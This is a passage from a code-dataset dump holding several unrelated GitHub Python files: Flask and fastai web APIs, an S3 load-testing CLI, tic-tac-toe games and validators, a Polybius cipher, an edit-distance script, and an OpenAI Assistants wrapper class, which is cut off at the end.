    \"\n f\"/api/v1.0//\"\n )\n# Flask route setup.\n@app.route(\"/api/v1.0/precipitation\")\n\n# Define function and query results to a dictionary using date as the key and prcp as the value\ndef precipitation():\n last_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n\n results = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date >= last_year).all()\n\n session.close()\n\n # For lookp through results and append date results as Key and prcp results as values to a dictionary.\n all_prcp = []\n for date, prcp in results:\n prcp_dict ={date:prcp}\n all_prcp.append(prcp_dict)\n\n # Return results\n return jsonify(all_prcp)\n\n# Flask route setup \n@app.route(\"/api/v1.0/stations\")\n\n# Define funtion and query to return a JSON list of stations from the dataset.\ndef stations():\n\n all_stations = session.query(Station.station).all()\n\n session.close()\n\n stations = list(np.ravel(all_stations))\n\n return jsonify(stations)\n\n# Flask Setup.\n@app.route(\"/api/v1.0/tobs\")\n\n# Define function and query the dates and temperature observations of the most active station \n# for the last year of data to return JSON list of temperature observations (TOBS) for the previous year.\ndef tobs():\n last_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n temps = session.query(Measurement.date, Measurement.tobs).\\\n filter(Measurement.station == \"USC00519281\").\\\n filter(Measurement.date >= last_year).all()\n\n session.close() \n\n# For loop to append results into a dictionary of a list rather than just listing the temperature by itself.\n# Include the date as the key and the temp as the value so that the data made more sense.\n tobs_list = []\n for date, tobs in temps:\n tobs_dict ={date:tobs}\n tobs_list.append(tobs_dict)\n\n return jsonify(tobs_list)\n\n# Flask setup.\n@app.route(\"/api/v1.0/\")\n\n# Define function and query to return a JSON list of the minimum temperature, the average temperature, \n# and the max temperature for for all dates greater or equal to a given start date.\ndef begin(start):\n\n # Set new variable to hold the date-string inputted by user in datetime format (year, month, day).\n new_start = datetime.strptime(start, \"%Y-%m-%d\").date()\n\n # Query for all dates in the datebase and set results in a list.\n dates = session.query(Measurement.date).all()\n dates = list(np.ravel(dates))\n\n # Loop through dates and set dates in datetime format. Same format as new_start.\n for date in dates:\n search_date = datetime.strptime(date,\"%Y-%m-%d\").date()\n\n # Set if condition. If date in the database is the same as date inputted by user, query for \n # the TMIN, TAVG, and TMAX and return results in json list.\n if search_date == new_start:\n start_temps = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start).all()\n return jsonify(start_temps)\n \n session.close()\n \n # If the date a user inputted is not a date in the database, display below error.\n return jsonify(f'{start} cannot be found. Please try a date prior to 2017-08-23.')\n\n#Flask setup\n@app.route(\"/api/v1.0//\")\n\n# Define function. Query to calculate the TMIN, TAVG, and TMAX for dates between the start and end date inclusive\n# and return in JSON list.\ndef calc_temps(start, end):\n return jsonify(session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start).filter(Measurement.date <= end).all())\n\nsession.close()\n\n# Boilerplate ending syntax for app.\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n\n\n\n\n\n","repo_name":"alexrayperry/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32982208955","text":"from slor.screen import ConsoleToSmall\nfrom slor.slor_c import *\nfrom slor.shared import *\nfrom slor.output import *\nfrom slor.driver import _slor_driver\nfrom slor.workload import *\nimport argparse\nfrom multiprocessing.connection import Client\nfrom multiprocessing import Process\nfrom curses import wrapper\n\ndef start_driver():\n\n driver_list = \"127.0.0.1\"\n print(\"no driver address specified, starting one here\")\n driver = Process(target=_slor_driver, args=(driver_list, DEFAULT_DRIVER_PORT, True))\n driver.start()\n time.sleep(2)\n\n return driver\n\n\ndef input_checks(args):\n \"\"\"\n Before any parsing, perform sanity checks\n \"\"\"\n keepgoing = True # fatal error occurred if true\n warnings = \"\" # hold warnings, show them\n errors = \"\" # error messages\n\n try:\n mixed_profiles = json.loads(args.mixed_profiles)\n except json.decoder.JSONDecodeError as e:\n keepgoing = False\n errors += \"check mixed-profiles JSON string, it's busted: {}\\n\".format(e)\n\n # Fuck in. Let's go\n if args.force:\n return True\n\n # Confirm before saving a readmap file that will have missing objects\n # on the storage system due to delete workload.\n if args.save_readmap and (\n any(x in args.loads for x in (\"cleanup\", \"delete\"))\n or\n (\"mixed\" in args.loads and \"delete\" in args.mixed_profiles)\n ):\n sys.stdout.write(\n \"It looks like you're saving the readmap but have delete operations in your\\n\" +\n \"workload. If you try to use this readmap for subsequent loads there will be\\n\" +\n \"objects missing. \")\n yn = input(\"You sure you mean this? (y/n): \")\n if yn[0].strip().upper() == \"N\":\n keepgoing = False # Error\n else:\n sys.stdout.write(\"Ooooookay, then...\\n\")\n\n # You specified a \"blowout\" stage but no cacheme-size?\n if \"blowout\" in args.loads.split(\",\") and args.cachemem_size == \"0\":\n warnings += \"blowout specified but no data amount defined (--cachemem-size), skipping blowout.\\n\"\n\n # MPU side too small for soe reason?\n if args.mpu_size and parse_size(args.mpu_size) <= MINIMUM_MPU_CHUNK_SIZE:\n errors += \"MPU part size too small, must be greather than {}\\n\".format(\n human_readable(MINIMUM_MPU_CHUNK_SIZE)\n )\n keepgoing = False # Error\n\n # Get-range sanity check\n if args.get_range and (parse_size(args.get_range.split(\"-\")[-1]) > parse_size(args.object_size.split(\"-\")[0])):\n errors += \"cannot perform get-range operations on objects smaller than the range size\\n\"\n keepgoing = False # Error\n\n # read workloads after deletes?\n del_occurred = 0\n mixed_index = 0\n for w in args.loads.split(\",\"):\n if w == \"delete\":\n del_occurred += 1\n if w == \"mixed\":\n if \"delete\" in mixed_profiles[mixed_index]:\n del_occurred += 1\n mixed_index += 1\n\n if (del_occurred > 0 and w in (\"head\", \"read\", \"reread\", \"tag_read\")) or del_occurred > 1:\n errors += \"you've specified a \\\"read\\\" workload when data might be missing from a previous \\\"delete\\\" workload\\n\"\n keepgoing = False # Error\n\n\n if errors:\n box_text(\"{}Argument error(s){}:\\n\".format(bcolors.BOLD, bcolors.ENDC) + errors)\n elif warnings:\n box_text(\"{}Argument warning(s){}:\\n\".format(bcolors.BOLD, bcolors.ENDC) + warnings)\n\n return keepgoing\n\n\ndef run():\n parser = argparse.ArgumentParser(\n description=\"Slor (S3 Load Ruler) is a distributed load generation and benchmarking tool for S3 storage\"\n )\n parser.add_argument(\"controller\") # Make argparse happy\n parser.add_argument(\n \"--verbose\", action=\"store_true\", default=False, help=\"verbose output\"\n )\n parser.add_argument(\n \"--name\", default=\"generic\", help=\"name for this workload/benchmark\"\n )\n parser.add_argument(\"--profile\", default=DEFAULT_PROFILE_DEF)\n parser.add_argument(\"--endpoint\", default=DEFAULT_ENDPOINT)\n parser.add_argument(\n \"--verify\",\n default=True,\n help='verify HTTPS certs, defaults to \"true\"; set to \"false\" or a path to a CA bundle (bundle needs to be present on all driver hosts',\n )\n parser.add_argument(\"--region\", default=DEFAULT_REGION)\n parser.add_argument(\"--access-key\", default=False)\n parser.add_argument(\"--secret-key\", default=False)\n parser.add_argument(\n \"--stage-time\",\n default=DEFAULT_BENCH_LEN,\n help=\"how long each load stage should run (default: {0} seconds)\".format(\n DEFAULT_BENCH_LEN\n ),\n )\n parser.add_argument(\n \"--op-ceiling\",\n default=DEFAULT_UPPER_IOP_LIMIT,\n help=\"read operations/s ceiling you expect to achieve; used with --stage-time to determine the amount of data to prepare\",\n )\n parser.add_argument(\n \"--prepare-objects\",\n default=None,\n help=\"directly specify the amount of objects to prepare (count or size; e.g. 1.2TB, 50000K) - overrides calculation with --op-ceiling\",\n )\n parser.add_argument(\n \"--bucket-prefix\",\n default=DEFAULT_BUCKET_PREFIX,\n help='prefix to use when creating buckets (defaults to \"{0}\")'.format(\n DEFAULT_BUCKET_PREFIX\n ),\n )\n parser.add_argument(\n \"--key-length\",\n default=DEFAULT_KEY_LENGTH,\n help=\"key length(s) to use, can be single number or range (e.g. 10-50) - defaults to {0}\".format(\n DEFAULT_KEY_LENGTH\n ),\n )\n parser.add_argument(\n \"--key-prefix\",\n default=\"\",\n help=\"prefix for all written keys (prepared or for write tests)\",\n )\n parser.add_argument(\n \"--object-size\",\n default=DEFAULT_OBJECT_SIZE,\n help=\"object size to use; accepts values with common suffixes (1MB, 1MiB) and ranges (1KB-12MiB) - defaults to {0}\".format(\n DEFAULT_OBJECT_SIZE\n ),\n )\n parser.add_argument(\n \"--random-from-pool\",\n action=\"store_true\",\n default=False,\n help=\"use a pool of random data when writing rather than generate it on-the-fly - uses less CPU, but storage systems that dedupe will know\",\n )\n parser.add_argument(\n \"--compressible\",\n default=0,\n help=\"make random data compressible by N percent\",\n )\n parser.add_argument(\n \"--get-range\",\n default=None,\n help=\"specify a size or size range (e.g.: 1024-9172, or 712 or 15K) to get from prepared objects, noting that it cannot be larger than the prepared objects\"\n )\n parser.add_argument(\n \"--mpu-size\", default=None, help=\"write objects as MPUs using this chunk size\"\n )\n parser.add_argument(\n \"--versioning\", action=\"store_true\", help=\"use versioned buckets, include versioned read, re-read and delete requests when possible during mixed workloads (see README)\"\n )\n parser.add_argument(\n \"--driver-list\",\n default=\"\",\n help='comma-delimited list of driver hosts running \"slor driver\" processes (in host:port format); 9256 is assumed if port is excluded',\n )\n parser.add_argument(\n \"--processes-per-driver\",\n default=DEFAULT_SESSION_COUNT,\n help=\"number of simultaneous processes per driver host; drivers * processes_per_driver will equal total processes (defaults to {0})\".format(\n DEFAULT_SESSION_COUNT\n ),\n )\n parser.add_argument(\n \"--prepare-procs-per-driver\",\n default=\"-1\",\n help=\"number of processes per driver to run during the prepare stage, defaults to processes-per-driver value\".format(),\n )\n parser.add_argument(\n \"--cachemem-size\",\n default=\"0\",\n help=\"total amount of memory available in the target cluster for page cache and read caches; post-prepare stage will write this value to overwhelm caches for a cold read stage\",\n )\n parser.add_argument(\n \"--loads\",\n default=DEFAULT_TESTS,\n help=\"specify the loads you want to run; any (or all) of read, write, delete, head, mixed\",\n )\n parser.add_argument(\n \"--cleanup\",\n action=\"store_true\",\n default=False,\n help=\"remove objects when finished with workload\",\n )\n parser.add_argument(\n \"--remove-buckets\",\n action=\"store_true\",\n default=False,\n help=\"delete buckets when finished with workload (enables --cleanup option)\",\n )\n parser.add_argument(\n \"--bucket-count\",\n default=DEFAULT_BUCKET_COUNT,\n help=\"number of buckets to distribute over, defaults to '{0}'\".format(\n DEFAULT_BUCKET_COUNT\n ),\n )\n parser.add_argument(\n \"--use-existing-buckets\",\n action=\"store_true\",\n default=False,\n help=\"force the use of existing buckets; WARNING: destruction of ALL DATA IN THE BUCKET(S) WILL HAPPEN if you specify this with --cleanup or --remove-buckets\"\n )\n parser.add_argument(\n \"--sleep\",\n default=DEFAULT_SLEEP_TIME,\n help=\"sleeptime between workloads\"\n )\n parser.add_argument(\n \"--mixed-profiles\",\n default=DEFAULT_MIXED_PROFILE,\n help=\"list of profiles for mixed loads in JSON format (see README); each operation is given a share: e.g. '{0}'\".format(\n DEFAULT_MIXED_PROFILE\n ),\n )\n parser.add_argument(\n \"--save-readmap\",\n default=False,\n help=\"save readmap (location of prepared objects) for use in later runs\",\n )\n parser.add_argument(\n \"--use-readmap\",\n default=False,\n help=\"use readmap - this will obviate a prepare step and assume objects in the readmap exist\",\n )\n parser.add_argument(\n \"--no-db\",\n action=\"store_true\",\n default=False,\n help=\"do not save workload data to database - appropriate for long-running tests\",\n )\n parser.add_argument(\n \"--no-plot\",\n action=\"store_true\",\n default=False,\n help=\"do not do any data visualization in the console\",\n )\n parser.add_argument(\n \"--force\",\n action=\"store_true\",\n default=False,\n help=\"force 'yes' answer to any requests for input (e.g. 'are you sure?')\",\n )\n parser.add_argument(\n \"--version\",\n action=\"store_true\",\n default=False,\n help=\"display version and exit\",\n )\n args = parser.parse_args()\n\n if args.version:\n print(\"SLoR version: {}\".format(SLOR_VERSION))\n sys.exit(0)\n\n print(BANNER)\n \n if not input_checks(args):\n sys.stdout.write(\"input checks failed, exiting.\\n\")\n sys.exit(1)\n\n if args.driver_list == \"\":\n driver = start_driver()\n time.sleep(2)\n args.driver_list = \"127.0.0.1\"\n\n root_config = classic_workload(args)\n \n #try:\n handle = SlorControl(root_config)\n wrapper(handle.exec)\n #except ConsoleToSmall:\n # sys.stderr.write('console too small, need {}x{}\\n'.format(TERM_ROW_MIN,TERM_COL_MIN))\n #except PeerCheckFailure:\n # sys.stderr.write(\"driver check failed, make sure they're running and reachable\\n\")\n\n try:\n driver.terminate()\n driver.join()\n except:\n pass\n","repo_name":"thirstler/slor","sub_path":"src/slor/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":11254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30076045937","text":"\"\"\"\r\n\n\nThe function is given a list of three strings representing a board. The\ncharacters can be `\"X\", \"O\", \" \"`. The first player writes `\"X\"` at first\nturn. If a player has three marks in a row, column or a diagonal, the game\nstops. Given the board evaluate if this state can be achieved in line with the\nrules, return `True / False`.\n\n### Examples\n\n validate_tic_tac_toe([\"X \", \" \", \" \"]) ➞ True\n # X goes first.\n \n validate_tic_tac_toe([\"O \", \" \", \" \"]) ➞ False\n # O cannot go first.\n \n validate_tic_tac_toe([\"X X\", \" O \", \" \"]) ➞ True\n # Two X and one O is a possible state.\n \n validate_tic_tac_toe([\"XOX\", \" X \", \" \"]) ➞ False\n # Three X and one O is not a possible state.\n # Players have to go one after another.\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\nwins = [{(0, 0), (0, 1), (0, 2)}, {(1, 0), (1, 1), (1, 2)},\n {(2, 0), (2, 1), (2, 2)}, {(0, 0), (1, 0), (2, 0)},\n {(0, 1), (1, 1), (2, 1)}, {(0, 2), (1, 2), (2, 2)},\n {(0, 0), (1, 1), (2, 2)}, {(2, 0), (1, 1), (0, 2)}]\ndef validate_tic_tac_toe(board):\n cross = set()\n nulls = set()\n for r, row in enumerate(board):\n for c, v in enumerate(row):\n if v == \"X\":\n cross.add((r, c))\n elif v == \"O\":\n nulls.add((r, c))\n n_cross = len(cross)\n n_nulls = len(nulls)\n cross_wins = sum(s <= cross for s in wins)\n nulls_wins = sum(s <= nulls for s in wins)\n return ((cross_wins in (1, 2) and nulls_wins == 0\n and n_cross == n_nulls + 1)\n or (nulls_wins in (1, 2) and cross_wins == 0\n and n_cross == n_nulls)\n or (cross_wins == 0 and nulls_wins == 0 and\n n_cross in (n_nulls, n_nulls + 1)))\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"KFmbbjCghuiDrWWa4_0.py","file_name":"KFmbbjCghuiDrWWa4_0.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17981905565","text":"import os \n\nclear = lambda: os.system('clear')\nclear()\n\nfrom flask import Flask, request, jsonify\nfrom fastai import accuracy\n\nfrom fastai.vision import (\n ImageDataBunch, \n get_transforms, \n imagenet_stats, \n create_cnn,\n models,\n open_image\n)\n\napp = Flask(__name__)\n\nUPLOAD = \"uploads\"\npath = \"tmp/\"\n\ndata = ImageDataBunch.from_folder(path, ds_tfms=get_transforms(), size=224).normalize(imagenet_stats)\nlearn = create_cnn(data, models.resnet34, metrics=accuracy)\nlearn.load(\"model\")\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n file_remote = request.files['image']\n filename = file_remote.filename.lower()\n file_local = os.path.join(UPLOAD, filename)\n file_remote.save(file_local)\n\n prediction = predict_catdog(file_local)\n return jsonify(prediction)\n\n\ndef predict_catdog(file_local):\n img = open_image(file_local)\n prediction = learn.predict(img)\n\n prediction = {\n \"cat\" : round(prediction[2][0].item() * 100, 2),\n \"dog\" : round(prediction[2][1].item() * 100, 2)\n }\n \n return prediction\n\n\nif __name__ == \"__main__\": \n app.run()","repo_name":"lokeshsoni/pytorch-codes","sub_path":"fastai/deploy/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43929317289","text":"def jumpingOnClouds(c):\n n = len(c)\n if n < 2 or n > 100:\n return None\n if c[0] == 1:\n return None\n count = -1\n i = 0\n while i < n:\n count += 1\n if i+2 1:\r\n return False\r\n else:\r\n return True\r\n \r\ndef playermove():\r\n \r\n run = True\r\n while run:\r\n move = input('Please select a position to place an \\'X\\' (1-9): ')\r\n try:\r\n move = int(move)\r\n if move > 0 and move < 10:\r\n if spaceisfree(move):\r\n run = False\r\n insertboard('X', move)\r\n else:\r\n print('This postion is already occupied!')\r\n else:\r\n print('Please type a number within the range!')\r\n except:\r\n print('Please type a number!')\r\n\r\ndef compmove():\r\n possiblemoves = [x for x , letter in enumerate(board) if letter == ' ' and x!=0]\r\n move = 0\r\n #Check for possible winning move to take or to block opponents winning move\r\n for let in ['O','X']:\r\n for i in possiblemoves:\r\n boardcopy = board[:]\r\n boardcopy[i] = let\r\n if iswinner(let,boardcopy):\r\n move = i\r\n return move\r\n # to take the corner.\r\n opencorners = []\r\n for i in possiblemoves:\r\n if i in [1,3,9,7]:\r\n opencorners.append(i)\r\n if len(opencorners) > 1:\r\n move = selectrandom(opencorners)\r\n return move\r\n \r\n # try to take the center\r\n \r\n if 5 in possiblemoves:\r\n move = 5\r\n return move\r\n \r\n openedges = []\r\n for i in possiblemoves:\r\n if i in [2,4,6,8]:\r\n openedges.append(i)\r\n if len(openedges) > 0:\r\n move = selectrandom(openedges)\r\n return move\r\n \r\ndef selectrandom(li):\r\n import random\r\n ln = len(li)\r\n r = random.randrange(0,ln)\r\n return li[r]\r\n \r\n \r\n \r\n \r\n \r\n \r\ndef main():\r\n \r\n print(\"welcome to tic tac toe!!!!!!!\")\r\n displayboard(board)\r\n \r\n while not(isboardfull(board)):\r\n if not(iswinner('O',board)):\r\n playermove()\r\n displayboard(board)\r\n \r\n else:\r\n \r\n print(\"better luck next time.. O is the winner\")\r\n break\r\n if not(iswinner('X',board)):\r\n move = compmove()\r\n if (move == 0):\r\n print(\"The game is tied\")\r\n else:\r\n insertboard('O',move)\r\n print(\"The computer placed an 'O' in position :\", move) \r\n displayboard(board)\r\n else:\r\n print(\"Congratulation.. You Won\")\r\n \r\n \r\n if(isboardfull()):\r\n print(\"The game is tied\")\r\n \r\nmain()\r\n\r\nwhile True:\r\n answer = input('Do you want to play again? (Y/N)')\r\n if answer.lower() == 'y' or answer.lower == 'yes':\r\n board = [' ' for x in range(10)]\r\n print('-----------------------------------')\r\n main()\r\n else:\r\n break \r\n","repo_name":"Sibin-Sibi/TictactoewithAI","sub_path":"my1.py","file_name":"my1.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30037425607","text":"\"\"\"\r\n\n\nThe **Polybius Square** cipher is a simple substitution cipher that makes use\nof a 5x5 square grid. The letters A-Z are written into the grid, with \"I\" and\n\"J\" typically sharing a slot (as there are 26 letters and only 25 slots).\n\n| 1| 2| 3| 4| 5 \n---|---|---|---|---|--- \n **1**| A| B| C| D| E \n **2**| F| G| H| I/J| K \n **3**| L| M| N| O| P \n **4**| Q| R| S| T| U \n **5**| V| W| X| Y| Z \n \nTo encipher a message, each letter is merely replaced by its row and column\nnumbers in the grid.\n\nCreate a function that takes a plaintext or ciphertext message, and returns\nthe corresponding ciphertext or plaintext.\n\n### Examples\n\n polybius(\"Hi\") ➞ \"2324\"\n \n polybius(\"2324 4423154215\") ➞ \"hi there\"\n \n polybius(\"543445 14343344 522433 21422415331443 52244423 4311311114\") ➞ \"you dont win friends with salad\"\n\n### Notes\n\n * As \"I\" and \"J\" share a slot, both are enciphered into 24, but deciphered only into \"I\" (see third and fourth test).\n * Any charactor other than letters and spaces should be dropped from the cypher.\n\n\"\"\"\r\n\ndef polybius(text):\n info = [\"abcde\",\"fghik\",\"lmnop\",\"qrstu\",\"vwxyz\"]\n abc = \"abcdefghiklmnopqrstuvwxyz\"\n r = \"\"\n if \"0\"<=text[0]<=\"9\":\n i=0\n while i n:\r\n if i == j + (m - n):\r\n if dp[x][i][j] > z:\r\n return -2 \r\n else:\r\n if j == i + (n - m):\r\n if dp[x][i][j] > z:\r\n return -2 \r\n\r\n \r\n\r\n return dp[x][m][n]\r\n\r\n \r\n \r\ndef getWordsFromFile(inputFile):\r\n with open(inputFile, 'r', encoding='UTF-8') as f: #read words from file\r\n words = f.read().splitlines() #split words \r\n return words\r\n\r\ndef main():\r\n inputFile = input(\"Please enter the path of the input file\\n\")\r\n #inputFile = 'C:/Users/Dell/Desktop/NLP/HW1/input.txt'\r\n wordList = getWordsFromFile(inputFile)\r\n mainWord = input(\"Please enter the main word\\n\")\r\n resultList = _3D_Edit_Distance(wordList,mainWord,dp)\r\n print(\"\\nTop 5 similar words are below\")\r\n for key in resultList:\r\n print(key + \" with the cost of \" + str(resultList[key]))\r\n print(\"Usage percent of table is : \",end=\"\"),\r\n print((float)(used/total)*100)\r\nmain()\r\n\r\n\r\n","repo_name":"MelihYanalak/Natural-Language-Processing","sub_path":"Minimum Edit Distance/edit_distance.py","file_name":"edit_distance.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74684230492","text":"from openai import OpenAI\nimport inspect\nimport json\nimport time\n\nclass OpenAIAssistant:\n def __init__(self, api_key):\n \"\"\"\n Initializes a new instance of the class.\n\n Args:\n api_key (str): The API key to authenticate with the openai service.\n\n Returns:\n None\n \"\"\"\n self.client = OpenAI(api_key=api_key)\n self.tools = [{\"type\": \"retrieval\"}, {\"type\": \"code_interpreter\"}] # Default tools\n self.custom_functions = {} # To store custom function definitions\n \n def _extract_function_parameters(self, func):\n signature = inspect.signature(func)\n parameters = {\n \"type\": \"object\",\n \"properties\": {},\n \"required\": []\n }\n\n for name, param in signature.parameters.items():\n if name == 'self':\n continue # Skip 'self' parameter for class methods\n\n # Mapping from Python type annotations to JSON schema types\n type_map = {\n str: 'string',\n int: 'integer',\n float: 'number',\n bool: 'boolean',\n list: 'array',\n # Extend this map to include other types as necessary\n }\n param_type = type_map.get(param.annotation, 'string') # Default to 'string' if type not specified\n\n # Check if parameter has a default value to determine if it's required\n has_default = param.default is not inspect.Parameter.empty\n if not has_default:\n parameters[\"required\"].append(name)\n\n # Create parameter structure\n parameter_structure = {\n \"type\": param_type,\n \"description\": param.__doc__ or f\"The value for {name}.\"\n }\n if has_default:\n parameter_structure[\"default\"] = param.default\n\n parameters[\"properties\"][name] = parameter_structure\n\n return parameters\n \n def add_custom_function(self, func_name, func):\n \"\"\"\n Add a custom function to the assistant.\n\n Args:\n func_name (str): The name of the function.\n func (callable): The function object to be called by the assistant.\n \"\"\"\n self.custom_functions[func_name] = func\n\n def add_function(self, name, description, parameters):\n \"\"\"\n Adds a new function to the tool list.\n\n :param name: The name of the function.\n :type name: str\n :param description: A description of the function.\n :type description: str\n :param parameters: A dictionary of parameters for the function.\n :type parameters: dict\n :return: None\n \"\"\"\n function_tool = {\n \"type\": \"function\",\n \"function\": {\n \"name\": name,\n \"description\": description,\n \"parameters\": parameters\n }\n }\n self.tools.append(function_tool)\n\n def call_external_function(self, function_name, **kwargs):\n # Implementation to call the custom function\n function_to_call = self.custom_functions.get(function_name)\n if not function_to_call:\n raise ValueError(f\"Function '{function_name}' is not registered.\")\n return function_to_call(**kwargs)\n\n def handle_function_calls(self, run):\n \"\"\"\n Handles the function call tools within a run.\n \n Args:\n run (dict): The run data which includes details about tools and their calls.\n \n Returns:\n list: Returns a list of results after handling each function call tool.\n \"\"\"\n # Fetch the run steps to identify tool calls\n thread_id = run.thread_id\n run_id = run.id\n run_steps = self.list_run_steps(thread_id, run_id)\n\n # Collect tool outputs and handle them\n tool_outputs = []\n for step in run_steps:\n # Each step may have multiple tool calls\n for call in step.get('tool_calls', []):\n function_name = call.get('function', {}).get('name')\n if function_name in self.custom_functions:\n # Extract arguments for the function call\n arguments = call.get('function', {}).get('arguments', {})\n # Call the function with unpacked arguments\n try:\n arguments = json.loads(arguments)\n output = self.call_external_function(function_name, **arguments)\n tool_outputs.append({\n \"tool_call_id\": call['id'],\n \"output\": output\n })\n except Exception as e:\n tool_outputs.append({\n \"tool_call_id\": call['id'],\n \"output\": f\"Error: {e}\"\n })\n return tool_outputs\n \n def create_assistant(self, name, instructions, custom_functions=None, tools=[{\"type\": \"retrieval\"}, {\"type\": \"code_interpreter\"}], model=\"gpt-4-1106-preview\", file_paths=None):\n \"\"\"\n Create an Assistant with the given configuration.\n\n Args:\n name (str): The name of the assistant.\n instructions (str): The instructions for the assistant.\n tools (list of str): The list of tools to be used by the assistant.\n model (str, optional): The model to be used by the assistant. Defaults to \"gpt-4-1106-preview\".\n file_paths (list of str, optional): The list of file paths to be uploaded and used by the assistant. Defaults to None.\n\n Returns:\n dict: The created assistant object.\n \"\"\"\n assistant_data = {\n \"name\": name,\n \"instructions\": instructions,\n \"tools\": self.tools,\n \"model\": model\n }\n \n # Convert custom functions to the required format and add to tools\n if custom_functions:\n for func_name, func in custom_functions.items():\n self.add_custom_function(func_name, func)\n function_tool = {\n \"type\": \"function\",\n \"function\": {\n \"name\": func_name,\n \"description\": func.__doc__,\n \"parameters\": self._extract_function_parameters(func)\n }\n }\n self.tools.append(function_tool)\n \n if file_paths is not None:\n file_ids = []\n for file_path in file_paths:\n file = self.upload_file(file_path)\n file_ids.append(file.id)\n assistant_data[\"file_ids\"] = file_ids\n if not any(tool.get(\"type\") == \"retrieval\" for tool in tools):\n assistant_data[\"tools\"].append({\"type\": \"retrieval\"})\n \n if tools is not None:\n self.tools = tools\n assistant_data[\"tools\"] = self.tools\n\n assistant = self.client.beta.assistants.create(**assistant_data)\n return assistant\n \n def create_thread(self, initial_messages=None):\n \"\"\"\n Create a Thread, optionally with an initial list of Messages.\n\n Args:\n initial_messages (list of str, optional): A list of initial messages for the thread. Defaults to None.\n\n Returns:\n dict: The created thread.\n \"\"\"\n thread_args = {}\n if initial_messages:\n thread_args['messages'] = initial_messages\n \n thread = self.client.beta.threads.create(**thread_args)\n return thread\n \n def add_message_to_thread(self, thread_id, role, content, file_ids=None):\n \"\"\"\n Add a Message to the Thread.\n\n Args:\n thread_id (str): The ID of the thread to add the message to.\n role (str): The role of the message sender.\n content (str): The content of the message.\n file_ids (list of str, optional): The IDs of any files attached to the message. Defaults to None.\n\n Returns:\n dict: The created message.\n \"\"\"\n message_data = {\n \"thread_id\": thread_id,\n \"role\": role,\n \"content\": content\n }\n if file_ids is not None:\n message_data[\"file_ids\"] = file_ids\n \n message = self.client.beta.threads.messages.create(**message_data)\n return message\n \n def run_assistant(self, thread_id, assistant_id, instructions=None):\n \"\"\"\n Runs the assistant on a specific thread with optional additional instructions.\n\n Args:\n thread_id (str): The ID of the thread to run the assistant on.\n assistant_id (str): The ID of the assistant to use.\n instructions (str, optional): Additional instructions for the assistant. Defaults to None.\n\n Returns:\n dict: The result of running the assistant on the thread.\n \"\"\"\n run_args = {\n \"thread_id\": thread_id,\n \"assistant_id\": assistant_id\n }\n if instructions:\n run_args['instructions'] = instructions\n \n run = self.client.beta.threads.runs.create(**run_args)\n \n # This method will now handle the tool calls, i.e., the function calls\n tool_outputs = self.handle_function_calls(run)\n \n if tool_outputs:\n # Submit the outputs back to the run's thread if we have any\n self.submit_tool_outputs(thread_id, run.id, tool_outputs)\n \n return run\n \n def get_run_status(self, thread_id, run_id):\n \"\"\"\n Retrieves the status of a Run.\n\n Args:\n thread_id (str): The ID of the thread.\n run_id (str): The ID of the run.\n\n Returns:\n dict: The status of the run.\n \"\"\"\n run = self.client.beta.threads.runs.retrieve(thread_id=thread_id, run_id=run_id)\n return run\n \n def get_thread_messages(self, thread_id):\n \"\"\"\n Retrieve the Messages from a Thread.\n\n Args:\n thread_id (str): The ID of the thread from which to retrieve messages.\n\n Returns:\n list of dict: A list of messages from the specified thread.\n \"\"\"\n messages = self.client.beta.threads.messages.list(thread_id=thread_id)\n return messages\n \n def submit_tool_outputs(self, thread_id, run_id, tool_outputs):\n \"\"\"\n Submit outputs for functions called during a Run.\n\n Args:\n thread_id (str): The ID of the thread.\n run_id (str): The ID of the run.\n tool_outputs (dict): The outputs of the tools.\n\n Returns:\n dict: The submitted outputs.\n \"\"\"\n outputs = self.client.beta.threads.runs.submit_tool_outputs(thread_id=thread_id, run_id=run_id, tool_outputs=tool_outputs)\n return outputs\n \n def list_run_steps(self, thread_id, run_id):\n \"\"\"\n List the Run Steps for a given Run to inspect tool calls and outputs.\n\n Args:\n thread_id (str): The ID of the thread.\n run_id (str): The ID of the run.\n\n Returns:\n list of dict: A list of run steps.\n \"\"\"\n run_steps = self.client.beta.threads.runs.steps.list(thread_id=thread_id, run_id=run_id)\n return run_steps\n\n def poll_run_status(self, thread_id, run_id, interval=5, timeout=300):\n \"\"\"\n Polls the status of a run and waits until it completes, fails, expires, or is cancelled.\n\n Args:\n thread_id (str): The ID of the thread.\n run_id (str): The ID of the run.\n interval (int, optional): The interval in seconds between each status check. Defaults to 5.\n timeout (int, optional): The maximum time in seconds to wait for the run to complete. Defaults to 300.\n\n Returns:\n list of dict: A list of messages from the completed run.\n\n Raises:\n RuntimeError: If the run fails, expires, or is cancelled.\n TimeoutError: If the run times out before completing.\n \"\"\"\n start_time = time.time()\n while (time.time() - start_time) < timeout:\n run = self.client.beta.threads.runs.retrieve(\n run_id=run_id,\n thread_id=thread_id\n )\n status = run.status\n if status == 'completed':\n return self.get_thread_messages(thread_id)\n elif status in {'failed', 'expired', 'cancelled'}:\n raise RuntimeError(f\"Run failed with status: {status}\")\n time.sleep(interval)\n raise 